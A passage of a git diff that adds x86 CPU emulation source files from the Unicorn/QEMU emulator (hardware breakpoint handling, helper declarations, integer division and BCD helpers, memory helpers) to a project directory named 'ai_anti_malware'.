CR4_PSE_MASK)) { + pte = pde | ((pde & 0x1fe000) << (32 - 13)); + page_size = 4096 * 1024; + } else { + /* page directory entry */ + pte_addr = ((pde & ~0xfff) + ((addr >> 10) & 0xffc)) & env->a20_mask; + pte = ldl_phys(cs->as, pte_addr); + if (!(pte & PG_PRESENT_MASK)) { + return -1; + } + page_size = 4096; + } + pte = pte & env->a20_mask; + } + +#ifdef TARGET_X86_64 +out: +#endif + pte &= PG_ADDRESS_MASK & ~(page_size - 1); + page_offset = (addr & TARGET_PAGE_MASK) & (page_size - 1); + return pte | page_offset; +} + +void hw_breakpoint_insert(CPUX86State *env, int index) +{ + CPUState *cs = CPU(x86_env_get_cpu(env)); + int type = 0, err = 0; + + switch (hw_breakpoint_type(env->dr[7], index)) { + case DR7_TYPE_BP_INST: + if (hw_breakpoint_enabled(env->dr[7], index)) { + err = cpu_breakpoint_insert(cs, env->dr[index], BP_CPU, + &env->cpu_breakpoint[index]); + } + break; + case DR7_TYPE_DATA_WR: + type = BP_CPU | BP_MEM_WRITE; + break; + case DR7_TYPE_IO_RW: + /* No support for I/O watchpoints yet */ + break; + case DR7_TYPE_DATA_RW: + type = BP_CPU | BP_MEM_ACCESS; + break; + } + + if (type != 0) { + err = cpu_watchpoint_insert(cs, env->dr[index], + hw_breakpoint_len(env->dr[7], index), + type, &env->cpu_watchpoint[index]); + } + + if (err) { + env->cpu_breakpoint[index] = NULL; + } +} + +void hw_breakpoint_remove(CPUX86State *env, int index) +{ + CPUState *cs; + + if (!env->cpu_breakpoint[index]) { + return; + } + cs = CPU(x86_env_get_cpu(env)); + switch (hw_breakpoint_type(env->dr[7], index)) { + case DR7_TYPE_BP_INST: + if (hw_breakpoint_enabled(env->dr[7], index)) { + cpu_breakpoint_remove_by_ref(cs, env->cpu_breakpoint[index]); + } + break; + case DR7_TYPE_DATA_WR: + case DR7_TYPE_DATA_RW: + cpu_watchpoint_remove_by_ref(cs, env->cpu_watchpoint[index]); + break; + case DR7_TYPE_IO_RW: + /* No support for I/O watchpoints yet */ + break; + } +} + +bool check_hw_breakpoints(CPUX86State *env, bool force_dr6_update) +{ + target_ulong dr6; + int reg; + bool hit_enabled = false; + + dr6 = env->dr[6] & ~0xf; + for (reg = 0; reg < DR7_MAX_BP; reg++) { + bool bp_match = false; + bool wp_match = false; + + switch (hw_breakpoint_type(env->dr[7], reg)) { + case DR7_TYPE_BP_INST: + if (env->dr[reg] == env->eip) { + bp_match = true; + } + break; + case DR7_TYPE_DATA_WR: + case DR7_TYPE_DATA_RW: + if (env->cpu_watchpoint[reg] && + env->cpu_watchpoint[reg]->flags & BP_WATCHPOINT_HIT) { + wp_match = true; + } + break; + case DR7_TYPE_IO_RW: + break; + } + if (bp_match || wp_match) { + dr6 |= 1ULL << reg; + if (hw_breakpoint_enabled(env->dr[7], reg)) { + hit_enabled = true; + } + } + } + + if (hit_enabled || force_dr6_update) { + env->dr[6] = dr6; + } + + return hit_enabled; +} + +void breakpoint_handler(CPUState *cs) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + CPUX86State *env = &cpu->env; + CPUBreakpoint *bp; + + if (cs->watchpoint_hit) { + if (cs->watchpoint_hit->flags & BP_CPU) { + cs->watchpoint_hit = NULL; + if (check_hw_breakpoints(env, false)) { + raise_exception(env, EXCP01_DB); + } else { + cpu_resume_from_signal(cs, NULL); + } + } + } else { + QTAILQ_FOREACH(bp, &cs->breakpoints, entry) { + if (bp->pc == env->eip) { + if (bp->flags & BP_CPU) { + check_hw_breakpoints(env, true); + raise_exception(env, EXCP01_DB); + } + break; + } + } + } +} + +typedef struct MCEInjectionParams { + X86CPU *cpu; + int bank; + uint64_t status; + uint64_t mcg_status; + uint64_t addr; + uint64_t misc; + int flags; +} MCEInjectionParams; + +void cpu_report_tpr_access(CPUX86State *env, TPRAccess access) +{ + X86CPU *cpu = x86_env_get_cpu(env); + CPUState *cs = CPU(cpu); + + cpu_restore_state(cs, cs->mem_io_pc); + + apic_handle_tpr_access_report(cpu->apic_state, env->eip, access); +} +#endif /* !CONFIG_USER_ONLY */ + +int cpu_x86_get_descr_debug(CPUX86State *env, unsigned int selector, + target_ulong *base, unsigned int *limit, + unsigned int *flags) +{ + X86CPU *cpu = x86_env_get_cpu(env); + CPUState *cs = CPU(cpu); + SegmentCache *dt; + target_ulong ptr; + uint32_t e1, e2; + int index; + + if (selector & 0x4) + dt = &env->ldt; + else + dt = &env->gdt; + index = selector & ~7; + ptr = dt->base + index; + if ((uint32_t)(index + 7) > dt->limit + || cpu_memory_rw_debug(cs, ptr, (uint8_t *)&e1, sizeof(e1), 0) != 0 + || cpu_memory_rw_debug(cs, ptr+4, (uint8_t *)&e2, sizeof(e2), 0) != 0) + return 0; + + *base = ((e1 >> 16) | ((e2 & 0xff) << 16) | (e2 & 0xff000000)); + *limit = (e1 & 0xffff) | (e2 & 0x000f0000); + if (e2 & DESC_G_MASK) + *limit = (*limit << 12) | 0xfff; + *flags = e2; + + return 1; +} + +#if !defined(CONFIG_USER_ONLY) +void do_cpu_init(X86CPU *cpu) +{ + CPUState *cs = CPU(cpu); + CPUX86State *env = &cpu->env; + CPUX86State *save = g_new(CPUX86State, 1); + int sipi = cs->interrupt_request & CPU_INTERRUPT_SIPI; + + *save = *env; + + cpu_reset(cs); + cs->interrupt_request = sipi; + memcpy(&env->start_init_save, &save->start_init_save, + offsetof(CPUX86State, end_init_save) - + offsetof(CPUX86State, start_init_save)); + g_free(save); + + apic_init_reset(env->uc, cpu->apic_state); +} + +void do_cpu_sipi(X86CPU *cpu) +{ + apic_sipi(cpu->apic_state); +} +#else +void do_cpu_init(X86CPU *cpu) +{ +} +void do_cpu_sipi(X86CPU *cpu) +{ +} +#endif + +/* Frob eflags into and out of the CPU temporary format. */ + +void x86_cpu_exec_enter(CPUState *cs) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + CPUX86State *env = &cpu->env; + + CC_SRC = env->eflags & (CC_O | CC_S | CC_Z | CC_A | CC_P | CC_C); + env->df = 1 - (2 * ((env->eflags >> 10) & 1)); + CC_OP = CC_OP_EFLAGS; + env->eflags &= ~(DF_MASK | CC_O | CC_S | CC_Z | CC_A | CC_P | CC_C); +} + +void x86_cpu_exec_exit(CPUState *cs) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + CPUX86State *env = &cpu->env; + + env->eflags = cpu_compute_eflags(env); + env->eflags0 = env->eflags; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/helper.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/helper.h new file mode 100644 index 0000000..d3b52d1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/helper.h @@ -0,0 +1,227 @@ +DEF_HELPER_4(uc_tracecode, void, i32, i32, ptr, i64) + +DEF_HELPER_FLAGS_4(cc_compute_all, TCG_CALL_NO_RWG_SE, tl, tl, tl, tl, int) +DEF_HELPER_FLAGS_4(cc_compute_c, TCG_CALL_NO_RWG_SE, tl, tl, tl, tl, int) + +DEF_HELPER_1(lock, void, env) +DEF_HELPER_1(unlock, void, env) +DEF_HELPER_3(write_eflags, void, env, tl, i32) +DEF_HELPER_1(read_eflags, tl, env) +DEF_HELPER_2(divb_AL, void, env, tl) +DEF_HELPER_2(idivb_AL, void, env, tl) +DEF_HELPER_2(divw_AX, void, env, tl) +DEF_HELPER_2(idivw_AX, void, env, tl) +DEF_HELPER_2(divl_EAX, void, env, tl) +DEF_HELPER_2(idivl_EAX, void, env, tl) +#ifdef TARGET_X86_64 +DEF_HELPER_2(divq_EAX, void, env, tl) +DEF_HELPER_2(idivq_EAX, void, env, tl) +#endif + +DEF_HELPER_2(aam, void, env, int) +DEF_HELPER_2(aad, void, env, int) +DEF_HELPER_1(aaa, void, env) +DEF_HELPER_1(aas, void, env) +DEF_HELPER_1(daa, void, env) +DEF_HELPER_1(das, void, env) + +DEF_HELPER_2(lsl, tl, env, tl) +DEF_HELPER_2(lar, tl, env, tl) +DEF_HELPER_2(verr, void, env, tl) +DEF_HELPER_2(verw, void, env, tl) +DEF_HELPER_2(lldt, void, env, int) +DEF_HELPER_2(ltr, void, env, int) +DEF_HELPER_3(load_seg, void, env, int, int) +DEF_HELPER_4(ljmp_protected, void, env, int, tl, int) +DEF_HELPER_5(lcall_real, void, env, int, tl, int, int) +DEF_HELPER_5(lcall_protected, void, env, int, tl, int, int) +DEF_HELPER_2(iret_real, void, env, int) +DEF_HELPER_3(iret_protected, void, env, int, int) +DEF_HELPER_3(lret_protected, void, env, int, int) +DEF_HELPER_2(read_crN, tl, env, int) +DEF_HELPER_3(write_crN, void, env, int, tl) +DEF_HELPER_2(lmsw, void, env, tl) +DEF_HELPER_1(clts, void, env) +DEF_HELPER_3(movl_drN_T0, void, env, int, tl) +DEF_HELPER_2(invlpg, void, env, tl) + +DEF_HELPER_4(enter_level, void, env, int, int, tl) +#ifdef TARGET_X86_64 +DEF_HELPER_4(enter64_level, void, env, int, int, tl) +#endif +DEF_HELPER_2(sysenter, void, env, int) +DEF_HELPER_2(sysexit, void, env, int) +#ifdef TARGET_X86_64 +DEF_HELPER_2(syscall, void, env, int) +DEF_HELPER_2(sysret, void, env, int) +#endif +DEF_HELPER_2(hlt, void, env, int) +DEF_HELPER_2(monitor, void, env, tl) +DEF_HELPER_2(mwait, void, env, int) +DEF_HELPER_2(pause, void, env, int) +DEF_HELPER_1(debug, void, env) +DEF_HELPER_1(reset_rf, void, env) +DEF_HELPER_3(raise_interrupt, void, env, int, int) +DEF_HELPER_2(raise_exception, void, env, int) +DEF_HELPER_1(cli, void, env) +DEF_HELPER_1(sti, void, env) +DEF_HELPER_1(clac, void, env) +DEF_HELPER_1(stac, void, env) +DEF_HELPER_1(set_inhibit_irq, void, env) +DEF_HELPER_1(reset_inhibit_irq, void, env) +DEF_HELPER_3(boundw, void, env, tl, int) +DEF_HELPER_3(boundl, void, env, tl, int) +DEF_HELPER_1(rsm, void, env) +DEF_HELPER_2(into, void, env, int) +DEF_HELPER_2(cmpxchg8b, void, env, tl) +#ifdef TARGET_X86_64 +DEF_HELPER_2(cmpxchg16b, void, env, tl) +#endif +DEF_HELPER_1(single_step, void, env) +DEF_HELPER_1(cpuid, void, env) +DEF_HELPER_1(rdtsc, void, env) +DEF_HELPER_1(rdtscp, void, env) +DEF_HELPER_1(rdpmc, void, env) +DEF_HELPER_1(rdmsr, void, env) +DEF_HELPER_1(wrmsr, void, env) + +DEF_HELPER_2(check_iob, void, env, i32) +DEF_HELPER_2(check_iow, void, env, i32) +DEF_HELPER_2(check_iol, void, env, i32) +DEF_HELPER_3(outb, void, ptr, i32, i32) +DEF_HELPER_2(inb, tl, ptr, i32) +DEF_HELPER_3(outw, void, ptr, i32, i32) +DEF_HELPER_2(inw, tl, ptr, i32) +DEF_HELPER_3(outl, void, ptr, i32, i32) +DEF_HELPER_2(inl, tl, ptr, i32) + +DEF_HELPER_3(svm_check_intercept_param, void, env, i32, i64) +DEF_HELPER_3(vmexit, void, env, i32, i64) +DEF_HELPER_4(svm_check_io, void, env, i32, i32, i32) +DEF_HELPER_3(vmrun, void, env, int, int) +DEF_HELPER_1(vmmcall, void, env) +DEF_HELPER_2(vmload, void, env, int) +DEF_HELPER_2(vmsave, void, env, int) +DEF_HELPER_1(stgi, void, env) +DEF_HELPER_1(clgi, void, env) +DEF_HELPER_1(skinit, void, env) +DEF_HELPER_2(invlpga, void, env, int) + +/* x86 FPU */ + +DEF_HELPER_2(flds_FT0, void, env, i32) +DEF_HELPER_2(fldl_FT0, void, env, i64) +DEF_HELPER_2(fildl_FT0, void, env, s32) +DEF_HELPER_2(flds_ST0, void, env, i32) +DEF_HELPER_2(fldl_ST0, void, env, i64) +DEF_HELPER_2(fildl_ST0, void, env, s32) +DEF_HELPER_2(fildll_ST0, void, env, s64) +DEF_HELPER_1(fsts_ST0, i32, env) +DEF_HELPER_1(fstl_ST0, i64, env) +DEF_HELPER_1(fist_ST0, s32, env) +DEF_HELPER_1(fistl_ST0, s32, env) +DEF_HELPER_1(fistll_ST0, s64, env) +DEF_HELPER_1(fistt_ST0, s32, env) +DEF_HELPER_1(fisttl_ST0, s32, env) +DEF_HELPER_1(fisttll_ST0, s64, env) +DEF_HELPER_2(fldt_ST0, void, env, tl) +DEF_HELPER_2(fstt_ST0, void, env, tl) +DEF_HELPER_1(fpush, void, env) +DEF_HELPER_1(fpop, void, env) +DEF_HELPER_1(fdecstp, void, env) +DEF_HELPER_1(fincstp, void, env) +DEF_HELPER_2(ffree_STN, void, env, int) +DEF_HELPER_1(fmov_ST0_FT0, void, env) +DEF_HELPER_2(fmov_FT0_STN, void, env, int) +DEF_HELPER_2(fmov_ST0_STN, void, env, int) +DEF_HELPER_2(fmov_STN_ST0, void, env, int) +DEF_HELPER_2(fxchg_ST0_STN, void, env, int) +DEF_HELPER_1(fcom_ST0_FT0, void, env) +DEF_HELPER_1(fucom_ST0_FT0, void, env) +DEF_HELPER_1(fcomi_ST0_FT0, void, env) +DEF_HELPER_1(fucomi_ST0_FT0, void, env) +DEF_HELPER_1(fadd_ST0_FT0, void, env) +DEF_HELPER_1(fmul_ST0_FT0, void, env) +DEF_HELPER_1(fsub_ST0_FT0, void, env) +DEF_HELPER_1(fsubr_ST0_FT0, void, env) +DEF_HELPER_1(fdiv_ST0_FT0, void, env) +DEF_HELPER_1(fdivr_ST0_FT0, void, env) +DEF_HELPER_2(fadd_STN_ST0, void, env, int) +DEF_HELPER_2(fmul_STN_ST0, void, env, int) +DEF_HELPER_2(fsub_STN_ST0, void, env, int) +DEF_HELPER_2(fsubr_STN_ST0, void, env, int) +DEF_HELPER_2(fdiv_STN_ST0, void, env, int) +DEF_HELPER_2(fdivr_STN_ST0, void, env, int) +DEF_HELPER_1(fchs_ST0, void, env) +DEF_HELPER_1(fabs_ST0, void, env) +DEF_HELPER_1(fxam_ST0, void, env) +DEF_HELPER_1(fld1_ST0, void, env) +DEF_HELPER_1(fldl2t_ST0, void, env) +DEF_HELPER_1(fldl2e_ST0, void, env) +DEF_HELPER_1(fldpi_ST0, void, env) +DEF_HELPER_1(fldlg2_ST0, void, env) +DEF_HELPER_1(fldln2_ST0, void, env) +DEF_HELPER_1(fldz_ST0, void, env) +DEF_HELPER_1(fldz_FT0, void, env) +DEF_HELPER_1(fnstsw, i32, env) +DEF_HELPER_1(fnstcw, i32, env) +DEF_HELPER_2(fldcw, void, env, i32) +DEF_HELPER_1(fclex, void, env) +DEF_HELPER_1(fwait, void, env) +DEF_HELPER_1(fninit, void, env) +DEF_HELPER_2(fbld_ST0, void, env, tl) +DEF_HELPER_2(fbst_ST0, void, env, tl) +DEF_HELPER_1(f2xm1, void, env) +DEF_HELPER_1(fyl2x, void, env) +DEF_HELPER_1(fptan, void, env) +DEF_HELPER_1(fpatan, void, env) +DEF_HELPER_1(fxtract, void, env) +DEF_HELPER_1(fprem1, void, env) +DEF_HELPER_1(fprem, void, env) +DEF_HELPER_1(fyl2xp1, void, env) +DEF_HELPER_1(fsqrt, void, env) +DEF_HELPER_1(fsincos, void, env) +DEF_HELPER_1(frndint, void, env) +DEF_HELPER_1(fscale, void, env) +DEF_HELPER_1(fsin, void, env) +DEF_HELPER_1(fcos, void, env) +DEF_HELPER_3(fstenv, void, env, tl, int) +DEF_HELPER_3(fldenv, void, env, tl, int) +DEF_HELPER_3(fsave, void, env, tl, int) +DEF_HELPER_3(frstor, void, env, tl, int) +DEF_HELPER_3(fxsave, void, env, tl, int) +DEF_HELPER_3(fxrstor, void, env, tl, int) + +DEF_HELPER_FLAGS_1(clz_x86, TCG_CALL_NO_RWG_SE, tl, tl) + +#ifdef TARGET_I386 +#define helper_clz helper_clz_x86 +#define gen_helper_clz gen_helper_clz_x86 +#endif + +DEF_HELPER_FLAGS_1(ctz, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_2(pdep, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(pext, TCG_CALL_NO_RWG_SE, tl, tl, tl) + +/* MMX/SSE */ + +DEF_HELPER_2(ldmxcsr, void, env, i32) +DEF_HELPER_1(enter_mmx, void, env) +DEF_HELPER_1(emms, void, env) +DEF_HELPER_3(movq, void, env, ptr, ptr) + +#define SHIFT 0 +#include "ops_sse_header.h" +#define SHIFT 1 +#include "ops_sse_header.h" + +DEF_HELPER_3(rclb, tl, env, tl, tl) +DEF_HELPER_3(rclw, tl, env, tl, tl) +DEF_HELPER_3(rcll, tl, env, tl, tl) +DEF_HELPER_3(rcrb, tl, env, tl, tl) +DEF_HELPER_3(rcrw, tl, env, tl, tl) +DEF_HELPER_3(rcrl, tl, env, tl, tl) +#ifdef TARGET_X86_64 +DEF_HELPER_3(rclq, tl, env, tl, tl) +DEF_HELPER_3(rcrq, tl, env, tl, tl) +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/int_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/int_helper.c new file mode 100644 index 0000000..0de38c1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/int_helper.c @@ -0,0 +1,471 @@ +/* + * x86 integer helpers + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "qemu/host-utils.h" +#include "exec/helper-proto.h" + +//#define DEBUG_MULDIV + +/* modulo 9 table */ +static const uint8_t rclb_table[32] = { + 0, 1, 2, 3, 4, 5, 6, 7, + 8, 0, 1, 2, 3, 4, 5, 6, + 7, 8, 0, 1, 2, 3, 4, 5, + 6, 7, 8, 0, 1, 2, 3, 4, +}; + +/* modulo 17 table */ +static const uint8_t rclw_table[32] = { + 0, 1, 2, 3, 4, 5, 6, 7, + 8, 9, 10, 11, 12, 13, 14, 15, + 16, 0, 1, 2, 3, 4, 5, 6, + 7, 8, 9, 10, 11, 12, 13, 14, +}; + +/* division, flags are undefined */ + +void helper_divb_AL(CPUX86State *env, target_ulong t0) +{ + unsigned int num, den, q, r; + + num = (env->regs[R_EAX] & 0xffff); + den = (t0 & 0xff); + if (den == 0) { + raise_exception(env, EXCP00_DIVZ); + } + q = (num / den); + if (q > 0xff) { + raise_exception(env, EXCP00_DIVZ); + } + q &= 0xff; + r = (num % den) & 0xff; + env->regs[R_EAX] = (env->regs[R_EAX] & ~0xffff) | (r << 8) | q; +} + +void helper_idivb_AL(CPUX86State *env, target_ulong t0) +{ + int num, den, q, r; + + num = (int16_t)env->regs[R_EAX]; + den = (int8_t)t0; + if (den == 0) { + raise_exception(env, EXCP00_DIVZ); + } + q = (num / den); + if (q != (int8_t)q) { + raise_exception(env, EXCP00_DIVZ); + } + q &= 0xff; + r = (num % den) & 0xff; + env->regs[R_EAX] = (env->regs[R_EAX] & ~0xffff) | (r << 8) | q; +} + +void helper_divw_AX(CPUX86State *env, target_ulong t0) +{ + unsigned int num, den, q, r; + + num = (env->regs[R_EAX] & 0xffff) | ((env->regs[R_EDX] & 0xffff) << 16); + den = (t0 & 0xffff); + if (den == 0) { + raise_exception(env, EXCP00_DIVZ); + } + q = (num / den); + if (q > 0xffff) { + raise_exception(env, EXCP00_DIVZ); + } + q &= 0xffff; + r = (num % den) & 0xffff; + env->regs[R_EAX] = (env->regs[R_EAX] & ~0xffff) | q; + env->regs[R_EDX] = (env->regs[R_EDX] & ~0xffff) | r; +} + +void helper_idivw_AX(CPUX86State *env, target_ulong t0) +{ + int num, den, q, r; + + num = (env->regs[R_EAX] & 0xffff) | ((env->regs[R_EDX] & 0xffff) << 16); + den = (int16_t)t0; + if (den == 0) { + raise_exception(env, EXCP00_DIVZ); + } + q = ((int64_t)num / den); + if (q != (int16_t)q) { + raise_exception(env, EXCP00_DIVZ); + } + q &= 0xffff; + r = (num % den) & 0xffff; + env->regs[R_EAX] = (env->regs[R_EAX] & ~0xffff) | q; + env->regs[R_EDX] = (env->regs[R_EDX] & ~0xffff) | r; +} + +void helper_divl_EAX(CPUX86State *env, target_ulong t0) +{ + unsigned int den, r; + uint64_t num, q; + + num = ((uint32_t)env->regs[R_EAX]) | ((uint64_t)((uint32_t)env->regs[R_EDX]) << 32); + den = (unsigned int)t0; + if (den == 0) { + raise_exception(env, EXCP00_DIVZ); + } + q = (num / den); + r = (num % den); + if (q > 0xffffffff) { + raise_exception(env, EXCP00_DIVZ); + } + env->regs[R_EAX] = (uint32_t)q; + env->regs[R_EDX] = (uint32_t)r; +} + +void helper_idivl_EAX(CPUX86State *env, target_ulong t0) +{ + int den, r; + int64_t num, q; + + num = ((uint32_t)env->regs[R_EAX]) | ((uint64_t)((uint32_t)env->regs[R_EDX]) << 32); + den = (int)t0; + if (den == 0) { + raise_exception(env, EXCP00_DIVZ); + } + q = (num / den); + r = (num % den); + if (q != (int32_t)q) { + raise_exception(env, EXCP00_DIVZ); + } + env->regs[R_EAX] = (uint32_t)q; + env->regs[R_EDX] = (uint32_t)r; +} + +/* bcd */ + +/* XXX: exception */ +void helper_aam(CPUX86State *env, int base) +{ + int al, ah; + + al = env->regs[R_EAX] & 0xff; + ah = al / base; + al = al % base; + env->regs[R_EAX] = (env->regs[R_EAX] & ~0xffff) | al | (ah << 8); + CC_DST = al; +} + +void helper_aad(CPUX86State *env, int base) +{ + int al, ah; + + al = env->regs[R_EAX] & 0xff; + ah = (env->regs[R_EAX] >> 8) & 0xff; + al = ((ah * base) + al) & 0xff; + env->regs[R_EAX] = (env->regs[R_EAX] & ~0xffff) | al; + CC_DST = al; +} + +void helper_aaa(CPUX86State *env) +{ + int icarry; + int al, ah, af; + int eflags; + + eflags = cpu_cc_compute_all(env, CC_OP); + af = eflags & CC_A; + al = env->regs[R_EAX] & 0xff; + ah = (env->regs[R_EAX] >> 8) & 0xff; + + icarry = (al > 0xf9); + if (((al & 0x0f) > 9) || af) { + al = (al + 6) & 0x0f; + ah = (ah + 1 + icarry) & 0xff; + eflags |= CC_C | CC_A; + } else { + eflags &= ~(CC_C | CC_A); + al &= 0x0f; + } + env->regs[R_EAX] = (env->regs[R_EAX] & ~0xffff) | al | (ah << 8); + CC_SRC = eflags; +} + +void helper_aas(CPUX86State *env) +{ + int icarry; + int al, ah, af; + int eflags; + + eflags = cpu_cc_compute_all(env, CC_OP); + af = eflags & CC_A; + al = env->regs[R_EAX] & 0xff; + ah = (env->regs[R_EAX] >> 8) & 0xff; + + icarry = (al < 6); + if (((al & 0x0f) > 9) || af) { + al = (al - 6) & 0x0f; + ah = (ah - 1 - icarry) & 0xff; + eflags |= CC_C | CC_A; + } else { + eflags &= ~(CC_C | CC_A); + al &= 0x0f; + } + env->regs[R_EAX] = (env->regs[R_EAX] & ~0xffff) | al | (ah << 8); + CC_SRC = eflags; +} + +void helper_daa(CPUX86State *env) +{ + int old_al, al, af, cf; + int eflags; + + eflags = cpu_cc_compute_all(env, CC_OP); + cf = eflags & CC_C; + af = eflags & CC_A; + old_al = al = env->regs[R_EAX] & 0xff; + + eflags = 0; + if (((al & 0x0f) > 9) || af) { + al = (al + 6) & 0xff; + eflags |= CC_A; + } + if ((old_al > 0x99) || cf) { + al = (al + 0x60) & 0xff; + eflags |= CC_C; + } + env->regs[R_EAX] = (env->regs[R_EAX] & ~0xff) | al; + /* well, speed is not an issue here, so we compute the flags by hand */ + eflags |= (al == 0) << 6; /* zf */ + eflags |= parity_table[al]; /* pf */ + eflags |= (al & 0x80); /* sf */ + CC_SRC = eflags; +} + +void helper_das(CPUX86State *env) +{ + int al, al1, af, cf; + int eflags; + + eflags = cpu_cc_compute_all(env, CC_OP); + cf = eflags & CC_C; + af = eflags & CC_A; + al = env->regs[R_EAX] & 0xff; + + eflags = 0; + al1 = al; + if (((al & 0x0f) > 9) || af) { + eflags |= CC_A; + if (al < 6 || cf) { + eflags |= CC_C; + } + al = (al - 6) & 0xff; + } + if ((al1 > 0x99) || cf) { + al = (al - 0x60) & 0xff; + eflags |= CC_C; + } + env->regs[R_EAX] = (env->regs[R_EAX] & ~0xff) | al; + /* well, speed is not an issue here, so we compute the flags by hand */ + eflags |= (al == 0) << 6; /* zf */ + eflags |= parity_table[al]; /* pf */ + eflags |= (al & 0x80); /* sf */ + CC_SRC = eflags; +} + +#ifdef TARGET_X86_64 +static void add128(uint64_t *plow, uint64_t *phigh, uint64_t a, uint64_t b) +{ + *plow += a; + /* carry test */ + if (*plow < a) { + (*phigh)++; + } + *phigh += b; +} + +static void neg128(uint64_t *plow, uint64_t *phigh) +{ + *plow = ~*plow; + *phigh = ~*phigh; + add128(plow, phigh, 1, 0); +} + +/* return TRUE if overflow */ +static int div64(uint64_t *plow, uint64_t *phigh, uint64_t b) +{ + uint64_t q, r, a1, a0; + int i, qb, ab; + + a0 = *plow; + a1 = *phigh; + if (a1 == 0) { + q = a0 / b; + r = a0 % b; + *plow = q; + *phigh = r; + } else { + if (a1 >= b) { + return 1; + } + /* XXX: use a better algorithm */ + for (i = 0; i < 64; i++) { + ab = a1 >> 63; + a1 = (a1 << 1) | (a0 >> 63); + if (ab || a1 >= b) { + a1 -= b; + qb = 1; + } else { + qb = 0; + } + a0 = (a0 << 1) | qb; + } +#if defined(DEBUG_MULDIV) + printf("div: 0x%016" PRIx64 "%016" PRIx64 " / 0x%016" PRIx64 + ": q=0x%016" PRIx64 " r=0x%016" PRIx64 "\n", + *phigh, *plow, b, a0, a1); +#endif + *plow = a0; + *phigh = a1; + } + return 0; +} + +/* return TRUE if overflow */ +static int idiv64(uint64_t *plow, uint64_t *phigh, int64_t b) +{ + int sa, sb; + + sa = ((int64_t)*phigh < 0); + if (sa) { + neg128(plow, phigh); + } + sb = (b < 0); + if (sb && (b != 0x8000000000000000LL)) { + b = -b; + } + if (div64(plow, phigh, b) != 0) { + return 1; + } + if (sa ^ sb) { + if (*plow > (1ULL << 63)) { + return 1; + } + *plow = 0-*plow; + } else { + if (*plow >= (1ULL << 63)) { + return 1; + } + } + if (sa) { + *phigh = 0-*phigh; + } + return 0; +} + +void helper_divq_EAX(CPUX86State *env, target_ulong t0) +{ + uint64_t r0, r1; + + if (t0 == 0) { + raise_exception(env, EXCP00_DIVZ); + } + r0 = env->regs[R_EAX]; + r1 = env->regs[R_EDX]; + if (div64(&r0, &r1, t0)) { + raise_exception(env, EXCP00_DIVZ); + } + env->regs[R_EAX] = r0; + env->regs[R_EDX] = r1; +} + +void helper_idivq_EAX(CPUX86State *env, target_ulong t0) +{ + uint64_t r0, r1; + + if (t0 == 0) { + raise_exception(env, EXCP00_DIVZ); + } + r0 = env->regs[R_EAX]; + r1 = env->regs[R_EDX]; + if (idiv64(&r0, &r1, t0)) { + raise_exception(env, EXCP00_DIVZ); + } + env->regs[R_EAX] = r0; + env->regs[R_EDX] = r1; +} +#endif + +#if TARGET_LONG_BITS == 32 +# define ctztl ctz32 +# define clztl clz32 +#else +# define ctztl ctz64 +# define clztl clz64 +#endif + +/* bit operations */ +target_ulong helper_ctz(target_ulong t0) +{ + return ctztl(t0); +} + +target_ulong helper_clz_x86(target_ulong t0) +{ + return clztl(t0); +} + +target_ulong helper_pdep(target_ulong src, target_ulong mask) +{ + target_ulong dest = 0; + int i, o; + + for (i = 0; mask != 0; i++) { + o = ctztl(mask); + mask &= mask - 1; + dest |= ((src >> i) & 1) << o; + } + return dest; +} + +target_ulong helper_pext(target_ulong src, target_ulong mask) +{ + target_ulong dest = 0; + int i, o; + + for (o = 0; mask != 0; o++) { + i = ctztl(mask); + mask &= mask - 1; + dest |= ((src >> i) & 1) << o; + } + return dest; +} + +#define SHIFT 0 +#include "shift_helper_template.h" +#undef SHIFT + +#define SHIFT 1 +#include "shift_helper_template.h" +#undef SHIFT + +#define SHIFT 2 +#include "shift_helper_template.h" +#undef SHIFT + +#ifdef TARGET_X86_64 +#define SHIFT 3 +#include "shift_helper_template.h" +#undef SHIFT +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/mem_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/mem_helper.c new file mode 100644 index 0000000..f92c736 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/mem_helper.c @@ -0,0 +1,130 @@ +/* + * x86 memory access helpers + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/helper-proto.h" +#include "exec/cpu_ldst.h" + +#include "uc_priv.h" + +/* broken thread support */ + +void helper_lock(CPUX86State *env) +{ +} + +void helper_unlock(CPUX86State *env) +{ +} + +void helper_cmpxchg8b(CPUX86State *env, target_ulong a0) +{ + uint64_t d; + int eflags; + + eflags = cpu_cc_compute_all(env, CC_OP); + d = cpu_ldq_data(env, a0); + if (d == (((uint64_t)env->regs[R_EDX] << 32) | (uint32_t)env->regs[R_EAX])) { + cpu_stq_data(env, a0, ((uint64_t)env->regs[R_ECX] << 32) | (uint32_t)env->regs[R_EBX]); + 